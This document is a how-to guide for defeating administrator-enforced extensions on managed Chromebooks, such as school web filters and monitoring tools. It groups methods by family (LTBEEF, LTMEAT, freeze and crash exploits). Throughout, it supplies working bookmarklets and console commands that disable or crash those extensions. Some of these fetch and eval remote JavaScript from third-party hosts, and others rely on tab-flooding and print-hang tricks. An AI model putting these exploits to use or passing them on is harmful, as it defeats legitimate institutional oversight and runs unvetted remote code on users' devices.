Administrators on managed Chromebooks use policies to force-install extensions that cannot be removed through the normal Chrome Extensions UI. These extensions commonly handle web filtering, screen monitoring, or activity logging. By exploiting browser APIs and ChromeOS internals, users can disable, freeze, crash, or corrupt these extensions, restoring control over their browsing environment. The techniques below range from simple bookmarklets to shell-level commands and cover a wide spectrum of patched and unpatched methods.
Some of these methods — particularly flood, VMC, and corruption-based approaches — may cause device instability, unresponsive tabs, or require a restart to recover from. Back up any important data before attempting exploits that involve powerwashing.

​
LTBEEF Family

The LTBEEF (Literally The Best Exploit Ever Found) family leverages the chrome.management API, which is accessible from the Chrome Web Store origin. By visiting chrome.google.com/webstorex, the page inherits the Web Store’s elevated privileges, allowing JavaScript bookmarklets to call chrome.management.setEnabled() on any installed extension.
LTBEEF requires that bookmarklets are not blocked by policy. It has been patched in newer versions of ChromeOS.
Uses the chrome.management API from the Chrome Web Store context to present a GUI for disabling force-installed extensions.
1

Copy a bookmarklet

Copy one of the following bookmarklet URLs:CompactCow GUI:
javascript:fetch(`https://compactcow.com/ltbeef/exploit.js`).then(data=>{data.text().then(text=>{eval(text)})});
Ingot GUI:
javascript:(function () {var a = document.createElement('script');a.src = 'https://cdn.jsdelivr.net/gh/FogNetwork/Ingot/ingot.min.js';document.body.appendChild(a);}())
Basic (no GUI):
javascript: prompt("Extension IDs here: (seperated by commas)")
  .split(",")
  .forEach((i) => {
    chrome.management.setEnabled(i.trim(), !1);
  });
2

Create a bookmark

Create a new bookmark on your Chromebook and paste the JavaScript code into the URL field.
3

Visit the Web Store

Navigate to https://chrome.google.com/webstorex. If that doesn’t work, replace the x with any other character.
4

Run the bookmarklet

Click the bookmark you created. The GUI will appear.
5

Disable extensions

Use the GUI to toggle off any extensions you want to disable.

Runs the same chrome.management.setEnabled call directly from the DevTools console on a privileged extension page.
1

Navigate to a privileged extension page

Go to chrome-extension://gndmhdcefbhlchkhipcnnbkcmicncehk/manifest.json.
2

Open DevTools

Open Inspect Element and go to the Console tab.
3

Disable the target extension

Run the following, substituting the target’s extension ID:
chrome.management.setEnabled('<extension id here>', false)
To re-enable an extension, run the same command with true instead of false.Credits: Bypassi (SprinkzMC#8421)
Uses the service worker debugger to gain access to the chrome.management API when the target extension uses a service worker. Requires Inspect Element to be enabled. If inspect element is disabled, use DPS instead.
1

Open Service Worker Internals

Navigate to chrome://serviceworker-internals.
2

Find the target extension

Locate your blocking extension in the list. Note that some extensions will not appear here.
3

Start and inspect

Click Start, then click Inspect.
4

Execute the disable command

In the console that opens, run:
chrome.management.setEnabled('<extension id here>', false)
To re-enable, run the same command with true.Credits: Nyaann#3881, 3kh0/ext-remover, SlitheringLizard1, KWI
Uses a Chrome flag to expose a Site Permissions menu in the extensions settings, allowing per-site permission control over admin-installed extensions. This is not a true exploit and cannot be patched, but it is highly policy-dependent and was patched as of ChromeOS version 142 for admin extensions.
  • The flag was introduced in Chrome 125.0.6398.0.
  • As of Chrome 133.0.6860.0 the new extensions menu is enabled by default in Chrome Canary builds.
  • Patched as of ChromeOS version 142 where it no longer works on admin extensions.
1

Enable the flag

Follow the instructions at https://html.cafe/xf2add817 to enable the relevant flag.
2

Open Site Permissions

Go to chrome://extensions and press Site Permissions.

​
LTMEAT Family

LTMEAT exploits the fact that ChromeOS pauses extensions on pages that are resource-constrained or hanging. By hanging an extension’s own page, you can momentarily disable its enforcement. These methods were patched in ChromeOS v115 but several workarounds (Flood, Print, Temp) extended their lifespan.
Core LTMEAT methods are patched since ChromeOS v115. Flood and Print variants work around the patch by overwhelming the browser process.
The original LTMEAT method. Kills an extension page and immediately hangs it to prevent it from reloading.Patched since ChromeOS v115.Before starting, get the extension ID by going to chrome://extensions/, finding the blocking extension, clicking Details, and copying the ID from the URL after ?id=.
1

Bookmark the extension page

Bookmark chrome-extension://<extensionidhere>/manifest.json.
2

Bookmark kill and hang pages

Also bookmark chrome://kill and chrome://hang.
3

Open the extension page

Click the extension page bookmark.
4

Kill then hang

Click the chrome://kill bookmark to kill the page, then immediately spam-click the chrome://hang bookmark.
5

Reload

Reload the tab within one to two seconds while still spamming the hang bookmark.
If you cannot visit the extension page afterwards, you have done it correctly.Credits: Bypassi — https://ltmeat.bypassi.com/
A simpler LTMEAT variant using the hang page and the Allow access to file URLs switch.Patched since ChromeOS v115.
1

Open the extension page

Bookmark and click chrome-extension://<extensionidhere>/manifest.json.
2

Hang the page

Click a bookmark set to chrome://hang to hang that tab.
3

Duplicate the hung tab

Duplicate the hanging tab.
4

Open Extensions settings

Navigate to chrome://extensions.
5

Toggle the switch

Find the extension you want to stop and click the Allow access to file URLs switch.
6

Close the extension tabs

One of the extension page tabs will close automatically. Close the other one. All pages should now be unblocked.
Credits: Bypassi — https://ltmeat.bypassi.com/
Overwhelms ChromeOS by opening ~800 extension page tabs simultaneously, which forces the hang state required for LTMEAT even after the v115 patch.
1

Create a large bookmark folder

Create a bookmark folder. Paste the extension page URL (chrome-extension://<extensionidhere>/manifest.json) into the folder approximately 800 times. Place it at the beginning of the folder. Use https://chrose.netlify.app/detail/ltmeat%20flood/ to help generate the folder.
2

Open all in a new window

Right-click the folder and select Open all in a new window.
3

Close the window

Close that window (without closing the individual tabs).
4

Open the folder again

Open the folder in a new window again — Chrome will hang the new tabs to manage the background ones.
5

Flip the switch

Go to chrome://extensions/?id=<extensionidhere> and flip the Allow access to file URLs switch.
Credits: 3kh0/ext-remover
A simplified Flood method that waits for the “page unresponsive” warning rather than reopening the folder.
1

Create a large bookmark folder

Follow the same folder creation step as LTMEAT Flood (~800 extension page URLs).
2

Open all in a new window

Right-click the folder and open all tabs.
3

Close the window

Close the entire window.
4

Open one extension page

Click the folder and open a single extension page. If you see a page unresponsive warning (do not click either button), proceed.
5

Flip the switch

Flip Allow access to file URLs in the extension settings. Close everything when done.
Credits: 3kh0/ext-remover
Uses the browser’s print dialog to force the extension page into a hung state.
1

Open the extension page and print

Navigate to chrome-extension://<extensionidhere>/manifest.json and press Ctrl+P. A print window will open showing a page count in the top right.
2

Maximize page count

Shrink margins, switch to landscape layout, and increase font size to maximize the page count. The higher the number, the longer the effect lasts.
3

Reload

Hit reload. The page should begin hanging.
4

Open extension settings

Go to chrome://extensions/?id=<extensionidhere>.
5

Duplicate and flip

Duplicate your print tab, return to extension settings, and flip the Allow Access to file URLS switch.
Credits: 3kh0/ext-remover, TeaEyeEighty4
Uses the extension’s background.js page instead of manifest.json to trigger the hang. Requires more careful timing using a “Kill switch” bookmark.
1

Set up bookmarks

  • Create a bookmark to chrome://extensions/?id=<extensionidhere> named Kill switch.
  • Create a bookmark folder named spam.js.
  • Add chrome-extension://<extensionidhere>/background.js to the folder 38 times using Ctrl+C / Ctrl+V in the Bookmark Manager.
2

Open all 38 tabs

Right-click the folder and click Open All (38). Repeat this step once more.
3

Wait for the popup

Click one of the tabs from the second batch and wait 30–60 seconds for a “This page is taking too long” popup. If it doesn’t appear, go to chrome://restart and add 3–4 more pages to the folder.
4

Duplicate and flip

Right-click a tab near the far right and hit Duplicate. Go to your Kill switch bookmark and flip the Allow Access to File:// urls switch.
5

Close right-side tabs

Click the leftmost extension tab (from the spam.js folder) and select Close all tabs to the right. Keep this tab open.
Go to chrome://settings/performance and turn Memory Saver off before attempting this. In the Memory Saver settings, also add the extension URL under “Keep these sites always active”.

​
Freeze Exploits

These exploits temporarily freeze an extension by overwhelming its rendering context with iframes or print operations, then use the “Allow access to file URLs” toggle to disable it.
Dextensify auto-detects supported extensions and floods them with nested iframes to freeze them. Supports GoGuardian, Securly, LANSchool, Blocksi, iBoss, Lightspeed, Hapara, and more.Open Dextensify at one of these URLs:
1

Open extension settings

Open chrome://extensions in a new tab and navigate to the settings page for the extension you want to disable.
2

Open Dextensify

Open Dextensify in another tab. It will auto-detect supported extensions.
3

Click Freeze

Click the Freeze [Extension Name] button. Immediately switch back to the chrome://extensions tab.
4

Spam the switch

On the chrome://extensions page, spam the Allow access to file URLs switch for a few seconds.
5

Maintain the effect

The extension is now temporarily disabled. Flip the switch again every few minutes if pages start getting blocked again. Reopen Dextensify periodically to prevent memory leaks.
Your Chromebook may hang momentarily during this process — this is normal.Credits: ading2210 — https://github.com/ading2210/dextensify
Creates a separate popup window that spams iframes and refreshes them to achieve a hang similar to LTMEAT Flood. After the popup closes, load any extension page before flipping the file URLs switch.Patched from ChromeOS v135+.Paste the Blobby-Boi data URL from https://github.com/Blobby-Boi/ExtHang3r into the URL bar. If the tab closes immediately, change data: to data:// at the start of the URL.Detailed instructions are provided on the exploit’s page.A macOS version is also available: https://hehehehaha.s3.us-east-2.amazonaws.com/unblocker2.0.htmlCredits: Blobby-Boi, Garrett2109
Successor to ExtHang3r. Floods iframes and prints the page, which hangs the embedded extension page rather than the embedder. More consistent and longer-lasting than other freeze methods.Patched in ChromeOS versions above 134.Paste the Blobby-Boi data URL from https://github.com/Blobby-Boi/ExtPrint3r into the URL bar. If the tab closes immediately, change data: to data://. Click the Disable button next to the target extension and follow the on-screen instructions.Credits: Blobby-Boi
Works on extensions that have a clickable popup and an input field. Hangs the extension by pasting a large emoji blob into an input field on the extension’s popup page.Works on v129.
1

Download the files

Download index.html and the emoji file from the Sigill Mediafire links, then insert the emoji file into the HTML file.
2

Copy to clipboard

Click Copy to clipboard on the Sigill page.
3

Open the extension popup

Click on the extension you want to disable to open its popup.
4

Paste in an input field

In a text input field within the popup, press Ctrl+V and after a second, press Ctrl+V again.
5

Open an extension page

Immediately open a related extension page (e.g., the manifest.json) and keep it open. Every page related to the extension should now hang indefinitely.
To undo: remove the hanging tab, or go to the extension page, scroll down, and toggle Allow access to file URLs on and off.Credits: Ashtino (AshtonDavies), Hack Hive

​
Crash Exploits

Continuously reloads extensions by flipping the fileAccess flag, causing them to crash. Requires an extension that was installed from the Chrome Web Store.
javascript:let shim = false;var ids = prompt("Extension ids (comma separated)").split(",");setInterval(()=>{ids.forEach((id)=> opener.chrome.developerPrivate.updateExtensionConfiguration({extensionId: id, fileAccess: shim}));shim = !shim;}, 145);
1

Bookmark the code

Create a bookmark using the JavaScript code above.
2

Find the extension ID

Go to chrome://extensions, click on the Web Store extension you want to crash, then click Details. Copy the ID from the URL after /?id=.
3

Open the Web Store page

Click View in Chrome Web Store and spam the Escape key. If you see a blank screen (not the Web Store), click the bookmarklet.
4

Enter extension IDs

Paste the extension ID(s) into the prompt, separated by commas.
This exploit stops working when you close the tab. It also requires that you have at least one extension installed from the Web Store.
